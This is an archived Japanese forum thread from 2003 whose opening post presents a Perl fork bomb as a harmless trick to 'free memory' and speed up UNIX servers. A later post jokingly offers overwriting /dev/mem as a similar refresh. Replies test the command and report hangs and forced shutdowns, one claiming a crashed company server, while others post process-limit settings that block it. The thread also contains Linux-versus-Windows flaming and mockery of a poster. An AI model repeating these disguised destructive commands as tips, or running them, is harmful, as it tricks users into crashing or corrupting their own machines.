1 名前:名無しさん@お腹いっぱい。 [03/06/19 01:31] UNIX系技術者にとってはほぼ常識ですが、簡単にUNIX系OSの メモリを簡単にクリーニングできます。やり方は、コマンドラインで、 $ perl -e 'while (1) { fork; }' とタイプするだけです。 これでディスクキャッシュになっていたメモリが解放されて、 若干処理が軽くなります。Webサーバ等では数%レスポンスが よくなります。GUIを使っている場合では体感的に早くなったと わかるでしょう。
99 名前:あぼーん mailto:あぼーん [あぼーん] あぼーん
100 名前:名無しさん@お腹いっぱい。 mailto:sage [03/06/25 02:57] 「死ぬ」っていいたいだけちゃうんかと(ry
101 名前:名無しさん@お腹いっぱい。 [03/06/25 02:58] Linuxはうんこだから死にます
102 名前:名無しさん@お腹いっぱい。 [03/06/25 03:01] すげえ! 早くなったよ! >>1 は神!!!
103 名前:名無しさん@お腹いっぱい。 mailto:sage [03/06/25 03:29] 何にしてもアンチというのは現状を見ようとしませんね。 「死ぬ」という事にしたいだけなんでしょうけど。 哀れ。
104 名前:名無しさん@お腹いっぱい。 mailto:sage [03/06/25 03:38] コレかな? ユーザーごとに使用できるリソース制限をしたい www.zdnet.co.jp/help/tips/linux/l0652.html
105 名前:名無しさん@お腹いっぱい。 mailto:sage [03/06/25 04:48] UNIXベースのMacOSXでは無理ですた。
106 名前:名無しさん@お腹いっぱい。 mailto:sage [03/06/25 05:41] >>78 そーいやWin2Kで(迂闊にも)部落ら踏んだ時は、GDIだかUSERだかの リソース制限超えてExplorer反応無し->あぼーん、そのままログオフも できずCTRL+ALT+DELにも反応せず、結局電源ぶちしか出来なくなった 事があったな。 # NT系でも一応リソース制限はあるらしい。つか、リソース食いつぶし # を防ぐ為に制限してると聞いたが、効果無いやん… 今回のようにコンソールプロセスなら大丈夫なのかもしれんが。
107 名前:名無しさん@お腹いっぱい。 mailto:sage [03/06/25 06:33] **実験結果** /etc/pam.d/login と /etc/pam.d/ssh に --- session required pam_limits.so --- を追加。 以下の内容で/etc/security/limits.conf を作成 --- @stupiduser hard priority 19 @stupiduser hard nofile 8139 @stupiduser hard nproc 20 @stupiduser - maxlogins 2 --- /etc/login.defs の "QUOTAS_ENAB" は deprecatedらしいのでコメントにする。 念のために3つ以上ログインしようとすると"permission denied"が返ってくる 、つまり設定有効になっていることを確かめてから >>1 をやってみた。 ぜんぜん平気だった。
108 名前:名無しさん@お腹いっぱい。 mailto:sage [03/06/25 06:37] 訂正 -@stupiduser +@stupidgroup ユーザー名で指定するときは頭の@は要らず、 また、ワイルドカードが使用可の模様。
109 名前:名無しさん@お腹いっぱい。 mailto:sage [03/06/25 10:25] >>96 いやー、mbuf cluster使い切るとpingとかにもぜんぜん答えなくなるけれど、 これって3分くらいで回復しないのではないかと思うので30分くらい待ちましょうということで。 >>97 むしろすぐに「死んだ」と言うなんてかなり気が短いと思うが。
110 名前:名無しさん@お腹いっぱい。 mailto:sage [03/06/25 10:26] >>107 実験環境キボーンヌ。 OSは?kernel versionは?マシンのスペックは?
111 名前:名無しさん@お腹いっぱい。 mailto:sage [03/06/25 10:28] >>109 でもさすがに30分も放置プレイだとTCPも切れるし、 fsck時間考慮しても再起動したほうが早くね?
112 名前:名無しさん@お腹いっぱい。 mailto:sage [03/06/25 12:47] うちではfsckなんてありません。 ジャーナリングファイルシステム マンセー
113 名前:名無しさん@お腹いっぱい。 mailto:sage [03/06/25 14:19] うちではfsckなんてありません。 スキャンディスク マンセー
114 名前:名無しさん@お腹いっぱい。 mailto:sage [03/06/25 14:21] ワラタ
115 名前:名無しさん@お腹いっぱい。 mailto:sage [03/06/25 18:30] 結局は何も設定してないLinux系は止まってしまうということですか…
116 名前:名無しさん@お腹いっぱい。 mailto:sage [03/06/25 19:03] いいえ つか、アンチ必死だな
117 名前:名無しさん@お腹いっぱい。 mailto:sage [03/06/25 19:05] で、どうやったらLinux止まるんだ? >>1 のやつじゃ、ビクともしませんが。
118 名前:名無しさん@お腹いっぱい。 mailto:sage [03/06/25 19:10] halt もしくは shutdown -h now 確実に止まります、Linuxに限らずUnix系OSはウンコですね。
119 名前:名無しさん@お腹いっぱい。 mailto:sage [03/06/25 19:15] Linuxは30分に1分程度使えるくらいなら正常動作説浮上
120 名前:名無しさん@お腹いっぱい。 mailto:sage [03/06/25 19:16] Windowsはコマンド一個じゃ止まりません。 すばらしい堅剛性 まさに無敵。 おまいら、羨しいだろ。 素直にWindows使え。
121 名前:名無しさん@お腹いっぱい。 mailto:sage [03/06/25 19:17] >>119 ハァ? 何言ってんの? WindowsやMacと一緒にすんなよ。 きもちわりー
122 名前:名無しさん@お腹いっぱい。 mailto:sage [03/06/25 19:20] 無知な窓坊相手にするなよ。 30分に1分使えれば正常動作説 ってことにしといてやれよ。 じゃないと、>>119 が可哀想。 ああいう事するしか自分を支え術がないんだよ。 可哀想な人なんだよ。
123 名前:名無しさん@お腹いっぱい。 mailto:sage [03/06/25 19:25] そうか、すまんかった>>119 イキロ
124 名前:名無しさん@お腹いっぱい。 mailto:sage [03/06/25 19:27] 可哀想な>>119 を慰めるスレはここですか?
125 名前:名無しさん@お腹いっぱい。 mailto:sage [03/06/25 19:38] >>119 がんがれよ、その内いいこともあるさ
126 名前: mailto:sage [03/06/25 19:41] >>119 がんがれよ、その内いいこともあるさ
127 名前:名無しさん@お腹いっぱい。 mailto:sage [03/06/25 19:41] >>119 に友達になってくれそうな人探してきた。 いらすま 山崎渉 山崎13 自動化 よかったね。 友達増えそうだね。
128 名前:名無しさん@お腹いっぱい。 mailto:sage [03/06/25 19:43] >>119 がんがって氏ね
129 名前:名無しさん@お腹いっぱい。 mailto:sage [03/06/25 19:45] >>128 そんな事いっちゃみもふたもないよ! どんな奴にも生きる権利はあるんだよ!! がんがれ>>119 まけんな! いつか良いことあるさ! とりあえず、学校で友達つくろうね!
130 名前:名無しさん@お腹いっぱい。 mailto:sage [03/06/25 19:51] >>119 友達作る前に、まずは家から出ようね!
131 名前:名無しさん@お腹いっぱい。 mailto:sage [03/06/25 19:54] >>119 家から出る前に、家族と話す練習しておこうね!
132 名前: mailto:sage [03/06/25 20:09] 漏は、>>119 が可哀想になってきたよ
133 名前:名無しさん@お腹いっぱい。 mailto:sage [03/06/25 20:20] >>132 みんな同じ気持だよ! だから>>119 を応援してあげようね! >>119 カウンセリングはちゃんと受けようね! 病院の先生の言う事聞いて早く学校に行けるようになると良いね!!! 学校で精神薄弱者扱いされても、めげちゃだめだよ!!!!
134 名前:名無しさん@お腹いっぱい。 mailto:sage [03/06/25 21:09] >>1 動かしました。 スワップぎこぎこ言ってたのでCTRL+Cしたあとにfreeしたら 空きがすっぽり増えてました・・・ けどキャッシュがへってんじゃねぇかよ!意味ねぇっつうの!
135 名前:名無しさん@お腹いっぱい。 mailto:sage [03/06/25 22:26] >>134 書き込む前にレスは嫁
136 名前:名無しさん@お腹いっぱい。 mailto:sage [03/06/25 22:38] >>1 のやり方じゃあスワップは発生せんということ
137 名前:119 mailto:sage [03/06/26 01:02] >>123 ありがと。わかってくれるのはきみと>>109 だけだよ。
138 名前:名無しさん@お腹いっぱい。 [03/06/26 01:13] CTRL+C で抜けられるジャン、は「落ちている」の範疇に含まれるですね。 すいませんでした。 >>107 [root@g /root]# uname -r 2.2.18-0vl4.2my で同じ設定やってみました。 一般ユーザーからならこれで大丈夫なことが私の方でも 上記カーネルの Vine 2.1.5 で確認できました。 ただやはり root からだと駄目みたいです。 プロセスが起動できませんとかってコマンドがでてしまいます。 CTRL+C できない状況だった場合は、もうどうしよーも無いという認識 でOKでしょうか。 SysRq キーとかから蘇生させる方法とか、なんかまた明日の就業時間 中にでも調べてみます。 >><レガッタでやった人の番号> # 会社のマシンじゃRegatta どころか C20 とかでもこんなこと # 俺できない立場っすよ。いいですね本当に良い物で遊べるなんて。
139 名前:名無しさん@お腹いっぱい。 mailto:sage [03/06/26 04:46] ctrl+alt+k
140 名前:名無しさん@お腹いっぱい。 mailto:sage [03/06/26 11:27] >>118 見てたら眠くなってきた。
141 名前:名無しさん@お腹いっぱい。 mailto:sage [03/06/26 11:50] Ctrl+Cでは止まらんかったぞい
142 名前:名無しさん@お腹いっぱい。 mailto:sage [03/06/26 12:07] >>120 www.microsoft.com/japan/windowsxp/expertzone/tips/february/randow1.asp arena.nikkeibp.co.jp/qa/os/20020320/01/ 知識を得てから煽れ。
143 名前:名無しさん@お腹いっぱい。 mailto:sage [03/06/26 12:48] どりゃぁ! sudo cat /dev/zero > /dev/mem 少しすっきり・・・しない?
144 名前:名無しさん@お腹いっぱい。 mailto:sage [03/06/26 15:50] まあとにかく 結果はどうあれ L i n u x は ウ ン コ と に か く ウ ン コ 絶 対 ウ ン コ ウ ン コ 以 外 あ り え な い W i n d o w s 最 強
145 名前:名無しさん@お腹いっぱい。 mailto:sage [03/06/26 16:11] さっき、自鯖にNetBSD入れました… 社内用なんでSambaとApacheしか動かさないけど それでいいよね(w
146 名前:名無しさん@お腹いっぱい。 [03/06/26 16:20] W i n d o w s を 入 れ な さ い N e t B S D な ん て 気 違 い の 使 う 物 で す
147 名前:あぼーん mailto:あぼーん [あぼーん] あぼーん
148 名前:名無しさん@お腹いっぱい。 mailto:sage [03/06/26 18:26] >>146 いれるまでもなく最初から入ってますが。
149 名前:名無しさん@お腹いっぱい。 mailto:sage [03/06/26 18:41] ふーん
150 名前:名無しさん@お腹いっぱい。 mailto:sage [03/06/26 18:45] この板にもWin厨がいるんだ・・・ ってかtatibanaか?Linux板で居場所がなくなったからこっちきたとか?
151 名前:おむこさん志望 ◆QtGqCwfDSA mailto:ちょと面白いネタだけど糞スレなので sage [03/06/26 20:10] Linux 2.5.72/Celeron 1.4G/384MB で試した結果、ユーザの最大プロセス数が 大きい値( Debian sid で 3071 )でかつカーネルパラメータを特に変更せずに >>1 をやると結構辛い(一応再起動せずに終了できたけど。) >>84 /proc/sys/kernel/threads-max をもっと小さめ(デフォルトで6000)に制限して おくと unlimited でもハングアップしなくなるよ。 NetBSD 1.6.1 では、ユーザ側でたとえ最大プロセス数が unlimited でも /netbsd: proc: table is full - increase kern.maxproc or NPROC と >>83 みたいに デフォルトの値が小さめになってる(というか Linux のデフォルトがまずいのか)ので 問題なく終了できた。
152 名前:名無しさん@お腹いっぱい。 mailto:sage [03/06/26 20:12] ほらLinuxはウンコだ。 Windowsは自己防御のために再起動してくれる親切設計なのにね。 Linuxは時代遅れ決定(ゲラゲラ
153 名前:名無しさん@お腹いっぱい。 mailto:age [03/06/26 20:13] Linuxウンコ記念age
154 名前:名無しさん@お腹いっぱい。 mailto:sage [03/06/26 20:15] >>152 禿しく何かが違う気がするが (ーё一)キノセーニャ。
155 名前:名無しさん@お腹いっぱい。 mailto:sage [03/06/26 20:17] ネ タ で す か らw
156 名前:名無しさん@お腹いっぱい。 mailto:sage [03/06/26 20:18] Windowsはユーザに見苦しいエラーメッセージを見せず 鮮かなブルーの画面で、ユーザーの心を癒し ユーザーの手間を煩わせず自動で再起動。 それまでの作業中のファイルは、ユーザー教育のために一から作成させる すばらしい心意気。
157 名前:名無しさん@お腹いっぱい。 mailto:sage [03/06/26 20:18] プロセス数制限すると大丈夫ってことで じゃあ制限を外すとどうなるのかってのが気になる
158 名前:名無しさん@お腹いっぱい。 mailto:sage [03/06/26 20:18] と、こんな感じ?w
159 名前:157 mailto:sage [03/06/26 20:19] すまんそ
160 名前:名無しさん@お腹いっぱい。 mailto:sage [03/06/26 20:20] いえいえ。
161 名前:名無しさん@お腹いっぱい。 mailto:sage [03/06/26 20:25] >>156 しかも、画面の色が赤とか黒とかではなく、 世界で最も愛される色・気持ちを落ち着かせてくれる色である 「青」というのが大きなポイントだね。
162 名前:名無しさん@お腹いっぱい。 mailto:sage [03/06/26 20:26] そう、エラーという不測の自体を 癒しにかえてくれる素敵なWindows
163 名前:名無しさん@お腹いっぱい。 mailto:sage [03/06/26 20:30] 最近は謝ってくれるらしいし
164 名前:名無しさん@お腹いっぱい。 mailto:sage [03/06/26 20:33] XPか。 そういや、Gentoo Linux 使ってみたら su Password: su: Authentication failure 申し訳ございません. 陳謝ブームか?
165 名前:名無しさん@お腹いっぱい。 [03/06/27 00:54] >>143 神!!!
166 名前: mailto:sage [03/06/27 05:31] >>143 sudoers に、catが登録されてません
167 名前:名無しさん@お腹いっぱい。 mailto:sage [03/06/27 13:09] >>166 suしてくらさい
168 名前:名無しさん@お腹いっぱい。 mailto:sage [03/06/27 14:16] そうっsuか。
169 名前:名無しさん@お腹いっぱい。 [03/06/27 16:01] kernel.orgで誰か試したな。ワラタ。
170 名前:名無しさん@お腹いっぱい。 [03/06/28 00:37] load averages最高記録はこのスレでよいですか?
171 名前:名無しさん@お腹いっぱい。 [03/06/28 01:11] >>170 漏れは300いった。
172 名前:名無しさん@お腹いっぱい。 mailto:sage [03/06/28 01:56] うほっ!けっこうマジメな動作報告スレと化してるじゃん。ワロータ 犬糞馬糞のほかはどうなんよ? この際、商用ウニ糞での結果の方が重要だろ(とマジメぶってみる
173 名前:名無しさん@お腹いっぱい。 mailto:sage [03/06/28 02:09] こういうのはさ、 「一般ユーザがソシアルハックなしに そのマシンを動作不能にできるのはバグである」 というような考え方なのかな。
174 名前:名無しさん@お腹いっぱい。 mailto:sage [03/06/28 02:11] バグとは違う様な
175 名前:名無しさん@お腹いっぱい。 mailto:sage [03/06/28 02:11] つーか物言いが極端なヤシだな
176 名前:名無しさん@お腹いっぱい。 mailto:sage [03/06/28 02:58] これをバグというなら、アクセルいきなり床まで踏んで尻を 振ってしまうような車は欠陥車、とかいう話になる。
177 名前:173 mailto:sage [03/06/28 03:27] バグってのは極端な言い方だったけど、 そういう考え方をどっかで聞いたことがあったのよ。 「UNIX は性善説のシステム」とかだったかな。 win, mac も同じだが。 ATM が一般ユーザにとめられたらバグという表現になるんだろうけどな。 自由度と堅牢性の両立の問題だな。
178 名前:名無しさん@お腹いっぱい。 mailto:sage [03/06/28 04:04] それはメインフレームとの比較で使われる言葉かと。 あとはMulticsとの比較とか。 確かに性善説ではあるが、利便性とのドレードオフで 使い易く・軽いシステムに成った。 # 最近は肥大化で重ーくなりつつあるが・・・
179 名前:名無しさん@お腹いっぱい。 mailto:sage [03/06/28 16:36] ドレードオフ?
180 名前:46 mailto:sage [03/06/28 16:44] >>レスをいただいた皆様。 46です。なんかが、目をはなしているうちに嘘つきよばわりされているので.... P4+RAM512M+スワップ512M に 素の2.4.20(パッチなし) + RedHat7.3由来のユーザランド で、既に起動していたXのプログラム, Xサーバ自身, デーモン類 もおちていきました。 最終的になにがのこったのかはtopが殺されてからはわからなくなりましたが、 操作ができなくなったため最終的には電源を遮断しました。
181 名前:名無しさん@お腹いっぱい。 mailto:sage [03/06/28 16:47] PCの性能それ激しく劣るけども、ほぼ同等の状態があるので テストしてみました。 ほんとに落ちるのだろうか、まだ落ちる気配もない。
182 名前:181 mailto:sage [03/06/28 16:52] >>180 はデーモン何動かしてるんだろ うちは今、sshdとsamba,apacheえーとあとX(xdm)と、xinetdでtimedとかechoとか諸々。 それとdbskkd-cdbくらいかな。 MMX pentium 200Mhz Mem96MB。 普通に使っててもメモリ不足気味な状態です。
183 名前:46 mailto:sage [03/06/28 17:07] >>180 捕捉。 no more processes? がでるまで数分かかりました。10分いかないぐらいでプ ロセスの欠落が始まりました。no more process なら、それ以上メモリくわな いと思うのに、なんでそのあとoom-killに見える状況なんだろ、COWの挙動? 電源遮断は40分後です。
184 名前:名無しさん@お腹いっぱい。 mailto:sage [03/06/28 17:14] >>180 1. rootでやったのか? 2. プロセス数制限はあったのか?
185 名前:名無しさん@お腹いっぱい。 mailto:sage [03/06/28 19:55] >>184 root で 全unlimitです。
186 名前:名無しさん@お腹いっぱい。 [03/06/29 01:51] 会社のサーバーにSSHで繋いでリモートからroot になったあと実行。 OS はRedHatだが、固まった。 結構重要なシステムなので漏れは首だな。 首ですむならまだいいが、損害も出るだろうから もう終りだ。2chに書いてあったから試してみたなんて 言えるはずが無い。 あああああ。
187 名前:名無しさん@お腹いっぱい。 mailto:sage [03/06/29 01:58] ホームラン級のバカだな。 なんでソラリスでやったとかAIXでやったとか いう書き込みがないのか、今なら分かるだろ?
188 名前:名無しさん@お腹いっぱい。 mailto:age [03/06/29 02:19] >>186 のメジャー移籍が決定しますた
189 名前:名無しさん@お腹いっぱい。 [03/06/29 04:05] >>186 まぁ、冗談だとは思うけど、仮に事実だとして、 君みたいなのに重要なサーバのroot権限与えてるような会社だったら 原因不明でセーフだろ それに、転職できるチャンスだよ、鯖管は君には向いてないよ。
190 名前:名無しさん@お腹いっぱい。 [03/06/29 10:03] プロセステーブル使い果たして落ちるだけだと思うんだが... 普通なら、それ以前にlimitで止められる。
191 名前:名無しさん@お腹いっぱい。 [03/06/29 12:34] >>187 スレよく嫁。ネタかもしれんけど一応居たみたいなんだよね・・・ >>190 スレよく嫁。Linux で root だと、できないみたい。というのが現時点での定説。 ただしカーネル2.5系では蘇生可能という説も。
192 名前:名無しさん@お腹いっぱい。 mailto:sage [03/06/29 14:44] 思わず スレタイ をよく読んでしまい、( ゚Д゚)? となる漏れであった。
193 名前:名無しさん@お腹いっぱい。 mailto:sage [03/06/29 16:42] >>191 limitは2.4でも出来ますが
194 名前:名無しさん@お腹いっぱい。 [03/06/30 01:34] 定説です。
195 名前:名無しさん@お腹いっぱい。 mailto:sage [03/06/30 11:00] >>1 # yes > /dev/null ではダメか?
196 名前:名無しさん@お腹いっぱい。 [03/06/30 17:15] >>191 ulimit -u 32; perl ... でブロックできてるが、これとは違うのか? --- 2.4.20にて
197 名前:名無しさん@お腹いっぱい。 [03/06/30 21:23] >>196 root でやってみてよ! ダメでしょ! おちるでしょ! at Redhat9 kernel になにかパッチとかしたんですか?
198 名前:名無しさん@お腹いっぱい。 mailto:sage [03/06/30 21:25] 赤帽は独自にパッチ集めてきて当ててるよ。 むしろ、自前パッチもあたってるな。
199 名前:名無しさん@お腹いっぱい。 mailto:sage [03/06/30 21:30] まぁrootはある意味、神なので rm -rf * もできるし limitを超えての操作が出来てもあたりまえなんすかねぇ…(?